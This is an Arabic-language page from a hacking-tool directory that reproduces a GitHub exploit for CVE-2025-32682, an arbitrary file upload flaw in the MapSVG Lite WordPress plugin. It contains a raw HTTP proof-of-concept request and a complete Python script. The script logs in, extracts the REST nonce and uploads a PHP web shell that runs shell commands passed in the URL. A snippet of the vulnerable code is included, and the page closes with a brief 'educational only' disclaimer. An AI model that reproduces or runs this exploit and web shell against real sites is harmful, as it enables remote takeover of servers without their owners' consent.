Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-32682 — المكوّن الإضافي MapSVG Lite لووردبريس <= 8.5.34 معرّض لثغرة رفع ملفات عشوائي | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2025-32682
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubnxploited/cve-2025-32682

CVE-2025-32682

المكوّن الإضافي MapSVG Lite لووردبريس <= 8.5.34 معرّض لثغرة رفع ملفات عشوائي

عرض المستودع
11منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🐚 CVE-2025-32682 - رفع ملفات تعسفي في MapSVG Lite <= 8.5.34

📌 تفاصيل الإضافة

  • الاسم: MapSVG Lite
  • الإصدار المتأثر: <= 8.5.34
  • نوع الثغرة: رفع ملفات تعسفي
  • معرف CVE: CVE-2025-32682
  • تاريخ النشر: 15 أبريل، 2025
  • درجة CVSS: 9.9 (حرجة)

💥 ملخص الثغرة

لا تتحقق إضافة MapSVG Lite لووردبريس من أنواع الملفات عند رفع ملفات SVG عبر نقطة نهاية REST API الخاصة بها:

root@kitploit:~
/wp-json/mapsvg/v1/svgfile

وهذا يسمح لمهاجم موثّق (بصلاحية مشترك+) برفع ملفات PHP تعسفية متنكرة في شكل SVG، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE).


📎 إثبات المفهوم (POC) - طلب HTTP خام

root@kitploit:~
POST /wp-json/mapsvg/v1/svgfile HTTP/1.1

Host: 192.168.100.74:888

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://target.com/wp-admin/admin.php?page=mapsvg-config

X-WP-Nonce: 4febb3ff50

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------155355665422604566641836454807

Content-Length: 298

Origin: http://192.168.100.74:888

Connection: keep-alive

Cookie:


-----------------------------155355665422604566641836454807

Content-Disposition: form-data; name="file"; filename="nxploit.php"

Content-Type: text/xml



<!--?php  
if(isset($_GET['cmd'])) {  
    system($_GET['cmd']);  
}  
?-->  

-----------------------------155355665422604566641836454807--


🔍 مقتطف الكود الثغري

يُبرز مقتطف الكود الثغري التالي من ملف mapsvg-lite-interactive-vector-maps.php المشكلة:

root@kitploit:~
public function uploadSVG() {
    $file = $_FILES['file'];
    $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
    return new \WP_REST_Response(["file" => $upload], 200);
}
  • ❌ لا يوجد فحص لنوع الملف
  • ❌ لا يوجد تحقق من الامتداد
  • ❌ لا يوجد تعقيم لمحتويات الملف

هذه الدالة مرتبطة مباشرة بنقطة نهاية REST /wp-json/mapsvg/v1/svgfile.


🧠 متطلبات الاستغلال

  • ✅ يتطلب مصادقة (بصلاحية مشترك+)
  • 🛑 لا يوجد تحقق من نوع الملف أو محتواه

🐍 إثبات المفهوم 2 - سكربت استغلال بلغة Python

root@kitploit:~
# By: Nxploited | Khaled Alenazi
import requests
import argparse
import re

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-un", "--username", required=True)
parser.add_argument("-p", "--password", required=True)
args = parser.parse_args()

login_url = f"{args.url}/wp-login.php"
resp = session.post(login_url, data={
    'log': args.username,
    'pwd': args.password,
    'rememberme': 'forever',
    'wp-submit': 'Log In'
}, headers={"User-Agent": user_agent})

if 'wordpress_logged_in' not in str(session.cookies):
    print("[-] Login failed")
    exit()
print("[+] Logged in successfully.")

nonce_page = session.get(f"{args.url}/wp-admin/admin.php?page=mapsvg-config")
match = re.search(r'"nonce":"([a-f0-9]+)"', nonce_page.text)
if not match:
    print("[-] Failed to extract nonce")
    exit()
nonce = match.group(1)
print(f"[+] Found nonce: {nonce}")

upload_url = f"{args.url}/wp-json/mapsvg/v1/svgfile"
print(f"[+] Uploading file to: {upload_url}")

payload = {'file': ('nxploit.php', '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>', 'application/x-php')}
headers = {
    'X-WP-Nonce': nonce,
    'Referer': f"{args.url}/wp-admin/admin.php?page=mapsvg-config",
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': user_agent
}

res = session.post(upload_url, files=payload, headers=headers)

try:
    json_res = res.json()
    print("[+] Server response (formatted):")
    print("File Name    :", json_res['file']['name'])
    print("URL          :", json_res['file']['relativeUrl'])
    print("Path Short   :", json_res['file']['pathShort'])
    print("Server Path  :", json_res['file']['serverPath'])
    print("\nExploited By : Nxploited | Khaled Alenazi")
except:
    print("[-] Upload failed or invalid response.")

☠️ الأثر

استغلال هذه الثغرة يسمح للمهاجم برفع شيل ويب .php إلى دليل /wp-content/uploads/mapsvg/ وتنفيذ أوامر تعسفية على الخادم.


👤 بواسطة:

Nxploited | Khaled Alenazi


⚠️ إخلاء مسؤولية

هذا المشروع مخصص لأغراض تعليمية فقط. الوصول غير المصرح به إلى الأنظمة دون إذن يُعد أمرًا غير قانوني.

تنزيل الأداة